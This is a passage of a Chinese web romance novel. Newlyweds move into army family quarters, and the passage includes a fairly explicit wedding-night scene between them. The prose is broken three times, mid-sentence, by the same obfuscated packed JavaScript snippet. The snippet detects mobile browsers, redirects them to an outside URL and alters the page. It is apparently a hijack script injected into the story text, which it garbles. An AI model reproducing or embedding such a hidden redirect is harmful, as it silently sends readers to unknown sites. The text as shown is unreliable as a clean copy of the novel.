江骄一句话就让田桂花高高兴兴将肉放回去,并且很快就吃了起来,咀嚼的表情,看不出一丝不喜欢吃肉的样子。 宁滟靠近江骄,“我想拿一瓶红焖牛肉罐头给娘和小妹尝尝。” 江骄听到了,田桂花也听到了,连忙问:“不够吃?” 宁滟忙道:“不是。” 田桂花更紧张了,“那是菜不合你口味?我收到消息太晚了,食堂都要关门了,服务社的肉也卖完......” “宁滟只是想让你和凤兰尝尝罐头。” 江骄拍了拍田桂花的肩膀,“别紧张,我会做的饭都是跟你学的,她都吃得惯,再说,宁滟也不是娇气的人。” 宁滟看出来田桂花对她在意源头的善意,笑着安抚:“菜已经很好了,娘,你这么多年辛苦了,应该是我们孝顺你,照顾你和小妹。” 田桂花听了宁滟的话,表情很意外,慢慢变得感动,人也跟着松懈不少,“娘不辛苦,你吃,你吃。” 江骄很快从后屋走回来,去厨房将罐头撬开,放到宁滟面前。 宁滟示意江骄,“你分了。” 江骄又拿起筷子先分了一大块红焖牛肉放到田桂花的碗里,再分了一块给凤兰。 “这是牛肉?” 田桂花被香得连连吸鼻子,“不愧是大城市,这罐头一打开比小炒的味道都香,我活这么多年,还是第一次看到烧好的牛肉。” 宁滟冲江骄摆了摆手,让他自己吃,“娘尝尝好不好吃。” “肯定好吃。” 田桂花笑道:“本来我还可惜你们没能尝到部队给你们在食堂办的婚宴上的菜,有了这牛肉,咱吃的可比他们都要好呢!” 江骄问:“还有谁结婚?” “统共有三对。”田桂花介绍:“后勤处长家的长春姑娘和一个年轻军官,叫什么不知道,听说是政委,你们没来,还有一对听说是农场场长家的儿子,儿媳妇好像也是农场的干部。” 宁滟看到江骄怔了一瞬。江骄第一秒就回看宁滟,盯着宁滟多看了一会,才解释:“认识的人。” 宁滟点了点头,并没有追问,低头继续吃面条。 江骄眼里出现的笑意瞬间消失。 吃了饭,江骄拿着手电筒和宁滟来到后排婚房。 一推开两扇大门,就看到堆了满屋子的行李,屋内布局和前屋布局一样,都是仿苏联的两室一厅,但隔了两扇墙,变成两间屋子一间客厅。 左侧大卧室摆放的也是统一营具,一张实木双人床,竖着两根蚊帐杆,一对藤沙发,一张三抽屉书桌,两张靠背椅,实木脸盆架,一个双开门大衣柜,门上镶了镜子。 这些都还是团级干部才能有的营具配置。 “你们看看放的行不行?” 田桂花来到后面,问的是“你们”,但看的一直是宁滟。 “行,挺好的。” 宁滟推了推江骄,小声道:“你让娘不要那么紧张。” “我不紧张,不紧张。” 田桂花听到了宁滟的小声,不等江骄说话就道:“你们先看着,我去烧水给你们洗澡。” “娘,不用。” 江骄拦住田桂花,“我们去澡堂洗就行了。” 田桂花惊讶,“这都停电了,服务社也早都关门了。” “只是停电,不是停水。”江骄道:“我们夜间训练回来,经常半夜去澡堂冲澡。” “也行。” 田桂花看看宁滟,“去澡堂有淋浴方便点,我们刚来那天晚上,长春带我们去洗过,可比在家里方便多了,闺女刚来,也不一定能习惯在家里洗澡。” 再次听到长春,江骄偏头看向宁滟。 宁滟笑着对田桂花说:“娘,谢谢你,之后还有许多地方可能需要你教我,你可以叫我宁宁。” “闺女,你别客气,千万不要客气。” 田桂花笑着往前走,“现在要收拾?我力气大,你搬不动的告诉我,我来搬。” “娘,不早了,你先去睡吧。” 江骄又一次拦住田桂花,“这里有我。” “可我还想跟宁宁多说说话。”田桂花看着不嫌弃她的宁滟,“我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374929|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢听宁宁说话,比听收音机还要好听。” 江骄:“.......” 江骄指了指凤兰,“凤兰困了。” “我也不困。”凤兰害羞一笑 ,“我也喜欢跟嫂子说话。” “......小孩子不能熬夜,正在长身体的年龄,要多睡觉。” 江骄把母女俩赶回前屋,“明天有的是时间说话。” 等新房就剩下两人,宁滟无声一笑。 江骄看到了,“笑什么?” “娘和小妹很合得来。” 宁滟在心底也松了口气,来之前不是没有担心,江骄的娘会反对他娶一个资产阶级出身的妻子,也不是没有担心过会对她是敌视的态度。 “娘人果然很好,你明天一定要再跟她说一说,让她不用那么紧张我。” 江骄:“我说?” 宁滟点头点到一半,就听江骄又道:“你以为我不紧张?” 江骄看着怔住的宁滟,推开主卧室的门,“这里和农村没什么区别,比不得城市,更完全不能和你从前的条件相比。” “我以前也不是没有去农村待过。” “去农村写生和在农村生活,是两码事。” 江骄道:“我怕你后悔。” 宁滟看着背对他的江骄,忍住嘴边的笑,“后悔我又能跑哪里去。” “是,你跑不掉。” 江骄回过头,认真看着宁滟,“你跑到哪里,我都会把你抓回来。” 宁滟用手电筒照了照他,“别贫了,你身体才刚好,赶了这么多天路,要赶紧休息,别又复发了。” 宁滟没有把江骄的担心当回事,毕竟除了活了二十几年,她还在近百年历史中循环了不知道多久,军营什么样,农村什么样,她都一清二楚。 但等到摸黑上了公共厕所,踩着摇摇晃晃的瓦片,粪缸臭气熏天迎面而来,手电筒不小心照到脚边蠕动的蛆。 宁滟闭着眼睛上完厕所,立即穿好裤子冲出厕所。 江骄双手环抱靠在树下等着她,看到她的反应,隔着黑夜都能看到他呲牙的笑。 宁滟深呼吸几口新鲜空气,知道江骄在等什么,没有让他如意,“走吧。” “还好吗?” “好得很。” 江骄“啧”了一声,走过来与宁滟并肩往澡堂走,“本来我已经做好了每天帮你提痰盂的准备,没想到你这么能适应,看来,我省事了。” “痰盂?” 宁滟顿住脚步,瞪他,“你怎么不早说?” “我看你好像不需要。”江骄学她刚才说话的语气,“好得很。” 宁滟回头看了一眼厕所,“为什么军营厕所也会这样?” “这片都是民房,乡下厕所都这样。” 江骄拎着装着两人换洗衣服和洗漱用品的篮子,看着前方的澡堂,“澡堂没电,你一个人去女浴室洗,怕不怕?” 宁滟脚步登时变缓。 江骄靠近宁滟,“我陪你一起?” 宁滟看着黑漆漆的深夜,想到刚才的厕所,再想到自己虽“见多识广”却缺乏实践,实际经验严重不足,不知道里面还有什么情况,遂点了点头。 看到江骄没反应。 宁滟以为夜太黑,他没看到,靠近他说:“你陪我。” 12.第 12 章 江骄听着宁滟自然而然求助的声音,就像小时候一样,完全没有身为成年人的自觉性,喉结在黑暗里上下滚动,迎着夜风往前走。 宁滟立马跟上,厕所周边都是芦苇野草,晚上看起来阴森森,她刚伸手抓住他的衣角,他的手就像长了眼睛瞬间握住她伸出的手。 一路走到澡堂,宁滟吐出一口长气。 “以后晚上,我们都得这样出来上厕所和洗澡吗?” “军人家属不是每天都会洗澡,一个星期不洗澡的大有人在。” 江骄推开澡堂的门,将马灯点燃递给宁滟,“拿着灯进去。” “一个星期不洗澡?” 宁滟接过马灯,“有澡堂为什么会一个星期不洗澡?” “洗澡要澡票,澡票要用钱买。” 江骄耐心解释:“到了冬天,会每天晚上洗脚。” 宁滟看着他,“你也这样?” “你这个眼神,不要这样看别人。” 江骄顿了顿,“我孤家寡人,澡票够用,再说,我用冷水也能洗。” 宁滟摸了摸脸,“我的眼神怎么了?” “嫌弃。” “我哪有。” 宁滟补充, “就算有,也是对你一个人,不会这么对别人。” 江骄侧身掀起厚重的浴帘,“进去吧,我在外面陪着你。” 宁滟探头,看着空荡荡的浴室,水滴声在黑暗中“滴滴答答”落在地上,回头看了一眼江骄,下意识咽了咽口水。 江骄挑眉,“这是公共澡堂。” 宁滟:“?” 江骄继续挑眉:“我做不到你思想这么开放。” “你胡说什么!” 宁滟恼羞,率先拎着马灯踏了进去,转身想放下他手里厚重的浴帘。江骄没有松手,从篮子里拿出两根蜡烛点燃,递给她,“你放到水沾不到的地方,两只手电筒也都给你。” 蜡烛、马灯、手电筒将黑暗浴室无死角照亮,宁滟看向依然掀着浴帘却从头到尾没往浴室里看过一眼的江骄,“好了。” 江骄彻底背过身,但依然没有把浴帘放下,挡在门口,“我就站在你看得到的地方。” 宁滟:“我没事了,你出去吧。” 江骄:“听说山上有蛇,出现在浴室的出水口。” 宁滟顿时打了个冷颤,盯着黑漆漆的下水口,“......我不想洗了!” “你赶了这么多天的车,都没好好洗漱过,再不洗人都要臭了。” 江骄道:“我就站在这,你快点洗,有什么叫一声我就进去了。” 宁滟左看右看,“有蛇,咬到我了,你来也没用。” 江骄举起一柄军刀,“蛇来了,刀就过去了,快洗吧,自己说的让我陪你。” 宁滟闻着身上的衣服,虽然自己闻着还是香的,但这么多天赶路下来味道应该确实好不到哪里去,察看一圈没有动静,拧开水龙头试探水温,等水热了之后,才解开衣服。 江骄是听到宁滟强行装坚强,但掩饰不住声音里细微的颤抖,才站在这里,却低估了水流浇在她身上他大脑会想象出的画面,以及水蒸气裹着宁滟的体香和肥皂香气吹过来的味道,对他的感官造成的刺激。 江骄身上很快出了汗。 宁滟洗得已经很快了,但对江骄来说却依然度秒如年。 等到水流声关掉的那一刻,江骄瞬间走了出去。 宁滟惊叫声立马跟着响起。 江骄回头,“我在。” 宁滟抱着衣服小跑到门口,掀开浴帘,湿着长发,小脸红扑扑瞪着他,“你跑什么?” 江骄看一眼就移开视线,“热出汗了。” 宁滟将马灯塞给他,“你去洗吧。” “我不用灯。” 江骄跑进男浴室的身影,是落荒而逃的具象化。 宁滟走到简易长椅上坐下,用浴巾擦着湿发,将头发擦得半干,还没想起害怕,江骄就也湿着头发走了出来。 宁滟:“......你就只是进去跟水打了声招呼吧?” 江骄拿过宁滟手里的浴巾,随意擦了擦头发,他本意是想着浴巾大好擦干湿发,却没有料到整个人都会被宁滟的香气包围。 刚被冷水压下去的欲望,瞬间卷土重来。 “行军打仗,洗澡时间练出来了。” 江骄吹灭了马灯,“走。” “浴巾给我。” 宁滟从他手里拿回浴巾,包在头发上,“外面风大,我怕吹了头疼。” 江骄过去帮忙,用自己刚才用过的浴巾,帮宁滟的脸裹得严严实实,看着轮廓全被浴巾包围,电灯光晕中淡极生艳的脸,冷硬的脸上出现自己都不知道的柔和,拿起军大衣又将宁滟整个人裹好。 “走吧。” 宁滟挨着江骄走,“你也把毛巾裹好脑袋,身体才刚好,吹了冷风容易感冒。” 江骄提着装满两人换洗衣服的竹篮,“以后不用大半夜过来洗澡,太阳出来的时候过来不会这么冷。” 宁滟梦游状态循环那么久,虽然实际实践起来和认知不一样,但还是觉得亲身体验做什么都觉得很有意思,“洗澡慢慢适应就行了。” 上厕所她现在暂时不想提,一提全是画面。 江骄像是知道她在想什么,轻笑一声,回到家里就拿了一只崭新的痰盂,放到了卧室门口。 宁滟裹着浴巾,坐在他刚拎过来的煤炉旁边继续将头发擦干,没有拒绝他的痰盂。 “你也过来坐着。” 江骄出去洗了手,拿了两个搪瓷缸和一个暖水壶走进来,才挨着宁滟坐到煤炉旁。 宁滟看着他潮湿的黑发,拿了一条干燥的新毛巾给他。 江骄随意擦了两下,烘了一会煤炉,起身去将堆在双人床上的喜被搬到外面的樟木箱子上,只留了两条红色织锦缎龙凤被,找出红橡胶热水袋,灌了一只塞进被窝。 宁滟头发烘得差不多干了,不用他说,便钻到被子里去。 江骄拎着煤炉出去,再回卧室,身上已经换好了宁滟给他买的翻领分体式纯棉睡衣。 宁滟缩在被子里只留一双眼睛看他。 她都没有换睡衣。 江骄又像是知道她想什么,拿了一套也是分体式的丝绒睡衣放到床头,“等下可以穿。” 宁滟已经躺好了,不明白他说的等下是什么意思。 但很快,她就明白了。 江骄一上床,便直奔她的被窝而来。 宁滟刚吃惊,就被他堵住嘴唇。 滚烫的掌心隔着衬衫在她身上寻找。 纽扣一颗接一颗被他单手解开,隔着衬衫的手很快直接接触肌肤,粗糙冷硬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17376614|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的掌心,瞬间让宁滟雪白肌肤变红,颤栗从四肢袭击心脏。 宁滟推他,他却亲得更用力,手上也寻找的更直接,滑过身体曲线不断进攻。 江骄的手在她身上游走,像是她刚才在浴室点燃的灯,无死角的游走每一处,但当每一处都被游走之后,他却没有像她一样放心下来,反而呼吸更急促,掌心和身体也变得更滚烫。 连带着她的身体也变得像是揭了封门的炉火一样迅速燃烧。 “你不累?” “不累。” 宁滟侧过脸,被自己油灯和烛光下雪白的肩膀晃了眼,锁骨被他一点点啃食,是没有感觉到他的疲惫,却切身体会到他的饥饿。 “......别。” 江骄听到她的拒绝,缓缓抬头。 宁滟因他的眼神心跳慢了半拍,避开他的眼神,轻轻喘息,“刚洗完澡。” 他不回答,要低下头去,宁滟的手伸进他浓密蓬松的黑发中阻拦,“重新再去洗一趟澡很麻烦。” 江骄动作凝滞,再次抬头,眼神除了刚才的情欲,还多了让宁滟心惊却难以读懂的情绪。 江骄贴在宁滟耳边说:“等下,我帮你洗。” 同江骄亲密,是宁滟本身就喜欢,打从心里喜欢的事,诚然会对未知感到紧张,会因自己似懂非懂的事加以幻想变得害怕,却不可能感到抗拒。 当被江骄的气息逐渐包围,那是从小到大宁滟唯一的安全感。 她不懂,江骄看上去熟练,却也青涩。 一切凭着本能探索。 但当那一刻,江骄因她的疼痛跟着她一起身体僵直,当泪眼朦胧中对上他藏不住讶异的神色,宁滟才明白先前让她心惊和难以读懂的情绪是什么。 两人静止不动。 江骄低下头亲吻宁滟的嘴唇,像小动物一样依赖,慢慢舔舐。 汗珠滴在宁滟的双睫,顺着她的下眼睑像泪水一样滑落。 江骄将宁滟压得很紧,双臂紧紧拥抱着她,从她的眼睑舔舐到了耳骨。 宁滟终于抬起手拥抱住他。 相拥的瞬间,江骄用鼻尖蹭了蹭宁滟的鼻尖,身上气息泄露,是比之前更饥饿的状态。 橘黄色烛光随着烛泪一颗颗滚落,逐渐化为一滩液体堆积在耐热的写字台玻璃上,仅剩下煤油灯芯噼里啪啦作响,给墙上的双人影添上一层蜜糖光泽。 随着一盏煤油灯燃烧干净,嘹亮的起床号响彻军营。 宁滟第一次听到起床号,却是伴随着入睡,而不是早起。 江骄拿着温热的毛巾,一遍遍温柔擦洗着宁滟。 稍后他要去报道,怕宁滟一个人睡会冷,将宁滟抱起,帮她穿上丝绒睡衣。 他单手撑在宁滟脸颊旁边,低头看着怀中宁滟的脸,抚摸她红艳的嘴唇,本打算睡一会,却因一直不舍得移开视线,就这样看着她,直到太阳升起,光芒刺破窗帘,才不舍离开宁滟。 宁滟睡了很久才苏醒,触手潮湿,迷迷糊糊睁开双眼,发现是枕头湿了,第一反应摸向自己的嘴唇,很快想到自己睡觉没有流口水的习惯。 过了第一反应,才意识到当下已经到了军营。 双人藤沙发上堆着昨晚换下来的床单,宁滟脸一红,仔细回想两人的枕头放着没有动过,再次伸手摸了摸枕巾,依然潮湿,这是怎么回事? 13.第 13 章 宁滟抱着好奇心从被窝里爬起来,裹着被子只露出一颗脑袋,看着江骄枕头上的潮湿,仔细辨别像是一圈圈水滴痕迹,难不成江骄现在睡觉流口水了? 宁滟“扑哧”一声笑了出来,决定晚上要比江骄晚睡,瞧瞧究竟是不是这样。 “嫂子?” 小猫儿一样的叫声在窗户外面响起,宁滟反应了一下,对着窗户回道:“小妹?” “嫂子,你醒了?” 凤兰的声音从窗户转到了堂屋门口,“娘说,等你醒了,让我给你热饭吃。” 宁滟急忙掀开被子下床,脚还没碰到拖鞋,双腿便真的发软得差点崴到地上,连忙双手撑住床边,缓了一下肌肉酸涩感,“小妹,不用你帮我热饭,我自己来就行。” “我会烧饭,我去热!” 轻快的脚步声由近至远,没两分钟又由远至近,“铛”地一声像是搪瓷面盆放到了地上。 宁滟打开房门,果然看到冒着热气的搪瓷洗脸盆里装了半盆热水,板凳上放着一个搪瓷牙缸,凤兰正提着热水壶往里面掺热水,见她出来,抬头一笑,笑容依然腼腆,但随即眼神便直愣愣从她的脸看到了丝绒睡衣。 “满了。” 宁滟连忙伸手接过暖水壶,心疼看着凤兰,“凤兰,我比你大,不用你帮我做这些。” 凤兰挨着宁滟,抬头看她,“嫂子,你好香。” 宁滟放下暖水壶,冲凤兰一笑,回头在熟悉的行李堆里,找到装着食品的木箱,“有没有剪刀?帮我找一把过来,我剪开绳子,拿糖给你吃。” 凤兰下一秒就冲了出去,小辫子飞舞穿过院子,从前屋跑回来,拿着剪刀没有给宁滟,“嫂子,我来剪,你别伤着。” 宁滟被小孩子一脸认真的表情逗笑,接过她手里的剪刀,“你是小孩子,还是我是小孩子。” 凤兰看着宁滟剪开了箱子上的麻绳,没有伤着自己,松了一口气,“嫂子,你真能干。” 宁滟刚稍微落下的嘴角又被逗得掀起来,掀开樟木箱子,将放在最上面的一包黄油核桃酥递给了凤兰,“这个先拿出去吃。” 凤兰伸出小手接过,盯着盒子上面的字,吃惊抬头,“这是桃酥?” “对。” 宁滟想到到了驻地可能要给邻居们发糖,糖并没有放的太下面,很容易就翻到一盒奶糖和一包什锦糖,“小妹,把这两包也拿过去吃。” 凤兰连忙将桃酥先放到旁边桌子上,去接宁滟手里的糖。 看着盒子上的两只老鼠,凤兰好奇问:“嫂子,这是老鼠糖?” “这是牛奶糖,图案是米老鼠。”宁滟合上木箱,笑着正想解释这是迪士尼动画片里的米老鼠,话到嘴边又顿住,“是很好吃的牛奶糖,你尝一尝,这里面还有粽子糖和玫瑰糖,也很好吃,不过我觉得最好吃的还是奶糖。” 凤兰盯着铁皮盒子上的老鼠拼命咽口水,“这个,我能吃吗?” “当然能吃了。” 宁滟上前接过盒子,想掀开却掀不动,用上剪刀才把严丝合缝的铁皮盒子撬开,拿出一颗奶糖剥开喂到凤兰嘴边,“尝尝。” 从未闻过的香气瞬间抓住凤兰的嗅觉,紧跟着便口水抑制不住往下咽,刚开始还能勉强忍住,但当宁滟再次喂到她的嘴巴上,就实在忍不住张开嘴巴吃了。 浓郁的牛奶甜香溢满齿缝与口腔,凤兰好吃得根本说不出话来,只双眼发亮看着宁滟。 宁滟看着她冻得干皴皴的小脸,又去装着日化用品的箱子里摸出一罐雪花膏,“这个也拿去。” 凤兰以为又是吃的,宁滟精准读出她的眼神,“不是吃的,是抹在脸上的雪花膏,抹了雪花膏,脸上有了一层保护和滋润,就不会冻脸了。” 宁滟又转身回去箱子里寻找,摸出一个深蓝色的铁皮圆盒,“这是手霜,涂在手上可以防干裂和冻疮。” 凤兰一脸狠狠长了见识的表情,接过小圆盒,“嫂子,你懂得真多,我只听说过雪花膏,还从来没有用过呢。” 宁滟走到搪瓷脸盆边蹲下,“现在我们住在一起了,以后我都买给你用。” 凤兰愣了一下,“我们以后住在一起了吗?” “对啊。” 宁滟拿起牙膏挤在牙刷上面,“等我今天把行李收拾出来,你们就可以搬到这间房间来住了。” 凤兰惊喜看着宁滟,“真的吗?” “当然了。” 宁滟看了一圈,“你刷牙在哪里刷的?” 凤兰摇了摇头,“我不刷牙。” 宁滟怔住。 凤兰观察宁滟的表情,小声解释:“娘说小孩子不用刷牙。” 不等宁滟回答,凤兰又补充说:“但娘刷,娘会用杨柳枝蘸盐刷,两三天就会刷一遍,娘很爱干净的。” “是,娘一看就是干净人。” 宁滟又放下搪瓷缸,去刚才翻过的日化用品箱子里,翻出两支新牙刷和一罐牙膏递给凤兰,“不过吃糖的话,这个拿去先预备着,每天刷牙可以预防蛀牙,不然吃这么多糖,牙齿要被小虫子咬了。” 凤兰松了一口气,接过牙刷和牙膏,稀奇看了一会,抬头对宁滟不好意思道:“嫂子,其实,我知道刷牙好,前面师长家的二妞就刷牙,还嘲笑我不刷牙,不跟我玩,但娘说了,二妞是城里人,刷牙正常,我们是农村人,不用跟她比。” 宁滟摸了摸她的头发,“是不用跟她比,我们是提前保护牙齿。” 凤兰看着宁滟的眼睛里装满了星星,“嫂子,你真好。” “叫姐。” “姐!” 宁滟立即应了一声,笑着走出堂屋,左右看了看,发现宽阔的院子左侧居然还有一个用砖墙围起来的院子,中间留了一道木门,“凤兰,那边是?” 凤兰唆着奶糖跟出来,“是菜地和厕所。” “厕所?是我们家的还是别人家的?” “当然是我们家的了。” 宁滟往木门边上走,拉开门栓,看到翻过的泥土和红砖盖的厕所。 “姐?” 凤兰看着宁滟撅着嘴,好奇探头,“姐?你怎么看着厕所不高兴?” 凤兰歪头一想,“你是上不惯这种厕所吧?但这是新盖的厕所,是大哥在你回来之前,特地请人盖好的新厕所,是这片最好的厕所了,别的地方,厕所都不好。” “没事。” 宁滟关上木门,找了墙角出水口刷牙。 凤兰咬着奶糖蹲在宁滟边上,看着她使用牙刷的过程。 宁滟刷完牙齿,吐掉泡沫,端起凤兰兑好的温水漱口,再把牙刷放到搪瓷缸里洗涮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17380672|200048||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 遍倒掉,“会了吗?” “会了。” 凤兰点头,“等我把糖吃完,我就刷牙。” 宁滟笑着起身,一回头就看到从前屋踏进院子的江骄。 江骄看到宁滟的表情,脚步一顿,隐晦观察宁滟的身体,“起了?” 宁滟“嗯”了一声,往堂屋走去洗脸。 凤兰像小尾巴一样跟在宁滟后面进屋。 江骄想问什么情况,都没有问凤兰的机会。 走到堂屋,江骄又碍着凤兰不好询问,“睡饱了?” 宁滟继续“嗯”了一声。 倒是有问必答。 江骄:“葱油拌面和煎荷包蛋,吃不吃?” 凤兰起身,宁滟猜到小妹要做什么,回答江骄:“吃。” 江骄多看了宁滟两眼,先去卧室拿了呢子大衣披在宁滟身上,才往前屋走去。 宁滟看着江骄高挺背影,皱鼻“哼”了一声,“你大哥最是蔫坏。” 凤兰好奇看了看江骄,又看了看宁滟,“娘说,大哥可好了,大哥有本事,孝顺,聪明,是我们村最有出息的人了。” 宁滟放下毛巾,拿出雪花膏,先抹一块在凤兰脸上,才往自己脸上涂。 “真香。”凤兰学着宁滟用双手抹着自己的脸打圈,“我和嫂子......我和姐一个香味了。” 宁滟端起洗脸盆往外走,“你吃早饭了没?” 凤兰蹦蹦跳跳跟着宁滟,“姐,都要吃中饭了。” 宁滟:“......” 宁滟抬头看天,“是哦。” “大哥说你需要补觉,说你赶路累了。”凤兰帮宁滟将毛巾晾在晾绳上,“娘让我看家,等你睡醒了,给你热饭吃。” 宁滟看了一圈,“娘去哪里了?” “娘去河边洗衣服了。” 凤兰指着前屋墙边砌好的水泥楼梯,“姐,站在平房楼顶就能看到娘,我刚一直站在上面。” 天亮了,宁滟才发现院子里还有楼梯直达平房楼顶。 宁滟跟着凤兰一路踏着楼梯爬到平房楼顶,顿时被满目绿意惊叹住。 新家三面环山,山间草木被初春铺上一层绿色厚毯,山下农田连片,田间有农户躬身劳作,也有水牛奋力犁出新土,牛走过的地方,留下一道道整齐的沟壑,在阳光下泛着油光。 农田与家属院之间隔着一条宽约三米的河,河水潺潺,还有两只水牛站在河边吃草,河边蹲着几个人拿着棒槌敲打石头上的衣裳。 好一派生机勃勃,绿野平畴。 环视一周,晚上高低不齐的房屋也尽收眼底。 宁滟所站的平房和后排红砖红陶瓦的房屋,是家属院中新建的房子,严格来说,家属院营房只是初具规模,并没有完全成形,只昨晚走过的小路两边才是新建的房屋,往前一片错落的房屋依然是土胚民房,与对面农田旁的乡村民房一样。 烟筒突然冒了烟,宁滟只匆匆往正前方碎石铺的大广场看了两眼,走下平房楼顶。 宁滟走到厨房,看着坐在灶膛前人模人样的江骄:“我要上厕所。” 江骄拿着火钳的手顿住,像个没事人一样指挥凤兰:“凤兰,带你嫂子去上厕所。” 宁滟转身便走。 江骄立马起身追了上去。